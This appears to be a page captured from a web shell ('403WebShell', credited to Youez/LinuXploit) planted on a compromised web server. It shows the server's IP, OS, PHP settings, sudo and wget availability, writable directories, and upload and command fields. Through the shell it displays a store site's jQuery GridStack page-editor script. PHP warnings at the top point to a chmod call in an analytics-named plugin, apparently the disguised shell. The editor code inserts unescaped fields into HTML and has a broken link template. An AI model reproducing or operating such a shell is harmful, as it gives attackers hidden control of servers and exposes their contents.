Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storePages/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storePages/static/page-editor.js
var $ = jQuery.noConflict();

function PageEditor() {

	let grid;
	let _this = this;

	function updateGrid(items, priceformat) {
		let widget = [];
		if (items) {
			$.each(items, function(key, item) {
				widget.push(jsonToTile(item, priceformat));
			});
		}
		return widget;
	}

	// take a json definition and convert it to a widget
	// x, y, id, w, h, content
	// 12 columns
	function jsonToTile(item, priceformat) {
		let foreground, background, prices;
		let widget = {w: item.w, h: item.h, id : item.uuid, x: item.x, y: item.y};
		switch(item.type) {
			case 'slideshow':
				widget.minW = 6;
				widget.maxW = 12;
				widget.minH = 5;
				widget.maxH = 8;

				let param = {
					images: [],
					isContinuous:	true,
					stretchImages:	true,
					onRender:		'ostore_render',
					showThumbnails:	false,
					autoAdvance:	5000,
				};
				let items = item.slides ?? [];
				for(let i = 0; i < item.slides.length; i++) {
					let node = item.slides[i];
					param.images.push({
						mainUrl: node.image,
						caption: node.caption,
						target:  node.target,
					});
				}
				param = JSON.stringify(param);
				
				// noclick -> single-click event is handled by browser
				widget.content = `
<div class="page-tile tile-slideshow slideshow-container bind-view imageViewer visible noclick" id="c-${item.uuid}" data-param='${param}'>
	<div class="shadow"></div>
	<div class="container">
		<div class="imagesWrapper touchSurface"></div>
		<button class="arrowButton leftButton" ><div><svg fill="none" stroke="#666" width="44" height="44" viewBox="3 3 18 18" xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><polyline points="15 18 9 12 15 6" /></svg></div></button>
		<button class="arrowButton rightButton"><div><svg fill="none" stroke="#666" width="44" height="44" viewBox="3 3 18 18" xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><polyline points="9 18 15 12 9 6"  /></svg></div></button>
	</div>
</div>
`;
				break;
				
			case 'category':	 // 	/category-name/c/123545
				widget.minW = 3;
				widget.minH = 5;
				widget.maxH = 5;
				background = item.background_uri ? `background-image:url(${item.background_uri});` : '';
				foreground = item.category_uri ? `<div class="image"><img src="${item.category_uri}"></div>` : '';
				switch(item.layout) {
					case 'list':
						widget.minH = 1;
						widget.content = `
<div class="page-tile tile-category category-heading" id="c-${item.uuid}">
<a class="link" href="${item.uri}"><span class="text" style="color:${item.color_txt}">${item.caption}</span></a>
</div>
`;
						break;
					
					case 'tile':
						widget.content = `
<div class="page-tile tile-category" id="c-${item.uuid}" style="${background}">
	<a class="link" href="${item.uri}"></a>
	<div class="text" style="color:${item.color_txt}">${item.caption}</div>
	${foreground}
</div>
`;
						break;
				}
				break;

			case 'product':
				widget.minW = 3;
				widget.maxW = 6;
				widget.minH = 4;
				widget.maxH = 4;
				// this will be the primary image thumbnail
				if (item.product_override != '') {
					item.thumb = item.product_override;
				}
				foreground = item.thumb ? `<div class="image"><img class="thumb-image" src="${item.thumb}"></div>` : '';
				if (priceformat) {
					prices = `
	<div class="a-section a-spacing-none aok-align-center aok-relative"> <span class="aok-offscreen"> \$${item.price.full} </span>
	<span class="a-price aok-align-center reinventPricePriceToPayMargin priceToPay"><span class="a-offscreen"> </span><span aria-hidden="true"><span class="a-price-symbol">$</span><span class="a-price-whole">${item.price.whole}<span class="a-price-decimal">.</span></span><span class="a-price-fraction">${item.price.frac}</span></span></span></div>
`;
				} else {
					prices = `
	<div class="priceView-hero-price priceView-customer-price" data-testid="customer-price" tabindex="-1">
		<span aria-hidden="true">\$${item.price.full}</span>
		<span class="sr-only">Your price for this item is $
			<!-- -->${item.price.full}
		</span>
	</div>

`;
				}
				
				widget.content = `
<div class="page-tile tile-product" id="c-${item.uuid}">
	<a class="link" href="${item.uri}"></a>
	<div class="text">${item.caption}</div>
	<div class="desc">${item.desc}</div>
	<div class="price">${prices}</div>
	${foreground}
</div>
`;	
				break;
				
			case 'static':
				widget.minW = item.w;
				widget.maxW = item.w;
				widget.minH = 5;
				widget.maxH = 8;
				let content = item.layout;
				let caption = item.caption;
				switch(item.layout) {
					case 'c1t':
					case 'c5t':
						content = `
<div class="static-container single">
	<div class="column-text">
		${item.text}
	</div>
</div>
`;
						break;
					case 'c1i':
					case 'c5i':
						content = `
<div class="static-container single">
	<div class="column-image">
			<img src="${item.image}" alt="">
	</div>
</div>
`;
						break;

					case 'c2t':
						content = `
<div class="static-container double">
	<div class="column-text column col1">
		${item.text}
	</div>
	<div class="column-image column col2">
		<img src="${item.image}" alt="">
	</div>
</div>
`;
						break;
					case 'c2i':
						content = `
<div class="static-container double">
	<div class="column-image column col1">
		<img src="${item.image}" alt="">
	</div>
	<div class="column-text column col2">
		${item.text}
	</div>
</div>
`;
						break;

					case 'c3t':
						content = `
<div class="static-container triple">
	<div class="column-text column col1">
		${item.text}
	</div>
	<div class="column-image column col2">
		<img src="${item.image}" alt="">
	</div>
</div>
`;
						break;
					case 'c3i':
						content = `
<div class="static-container triple">
	<div class="column-image column col1">
		<img src="${item.image}" alt="">
	</div>
	<div class="column-text column col2">
		${item.text}
	</div>
</div>
`;
						break;
				}
				if (caption != '') {
					caption = `<div class="static-caption" style="color:${item.color_txt};">${item.caption}</div>`;
				}
				widget.content = `
<div class="page-tile tile-static" id="c-${item.uuid}" style="background-color: ${item.color_bkg};">
<a class="static-link" href="{item.target}">
${caption}
${content}
</a>
</div>
`;
			
				break;
			
		}
		widget.content += `
<div class="hover-navigation grid-toolbar" style="z-index: 100; user-select: none;" ajax="/pages/action" data-auth="${item.auth}">
<a class="button-d action-toolbar" href="#" data-action="tile-edit" title="edit"><i class="fas fa-edit"></i></a>
<a class="button-d action-toolbar" href="#" data-action="tile-dup" title="duplicate"><i class="far fa-clone"></i></a>
<a class="button-d action-confirm" href="/pages/action/tile-trash/${item.auth}" confirm="Are you sure you wish to trash this tile?" title="trash"><i class="far fa-trash-alt"></i></a>

</div>
`;
		
		return widget;
	}

	function locateItem(griditems, uuid) {
		for(let i = 0; i < griditems.length; i++) {
			if (griditems[i].id == uuid) return i;
		}
		return -1;
	}


	$(document).on('loaded.template', function(e, jsondata, $container) {
		if (!$container.hasClass('bound')) {
			$container.addClass('bound');
			// https://github.com/gridstack/gridstack.js/blob/master/README.md
			// https://github.com/gridstack/gridstack.js/tree/master/doc
			let $grid = $('.grid-stack').first();
			if ($grid.length) {
				grid = GridStack.init({
					cellHeight: '75px', 	// '6rem',
					acceptWidgets: function(el) { return true },
				});
				grid.on('added', function(event, items) {
					console.log('added');
				}).on('dropped', function(event, previousWidget, newWidget) {
					console.log('dropped');
				}).on('change', function(event, items) {
					console.log('change');
					let griditems = grid.save();
					$.each(items, function(key, value) {
						let idx = locateItem(griditems, value.id);
						if (idx > -1) {
							griditems[idx].w = value.w;
							griditems[idx].h = value.h;
						}
					});

					let serialized = [];
					$.each(griditems, function(key, value) {
						serialized.push({id: value.id, w: value.w, h: value.h, x: value.x, y: value.y});
					});
					
					let $toolbar = $('div.grid-toolbar[data-auth]');
					let auth = $toolbar.data('auth');
					$.ajax({
						method:		'POST',
						url: 		'/pages/action',
						dataType:	'json',
						cache:		false,
						data: {
							action: 'layout',
							items:  serialized,
							auth:	auth,
						},
					});
				});		
			}

			$container.on('click', '.action-toolbar', function(e) {
				e.preventDefault();
				let $this = $(this);
				let $container = $this.closest('.grid-toolbar');
				let action = $this.data('action');
				let auth = $container.data('auth');
				let ajax = $container.attr('ajax');
				
				$.ajax({
					dataType: 'json',
					data: {
						action: action,
						auth: auth,
					},
					async: true,
					url: ajax,
					type: 'POST'
				}).done(function(data) {
					main.displayPage(data);
				});
			});
		}
		if (jsondata.items && grid) {
			grid.removeAll();
			grid.load(updateGrid(jsondata.items, jsondata.priceformat));
		}
	});

}

pageEditor = new PageEditor();

Youez - 2016 - github.com/yon3zu
LinuXploit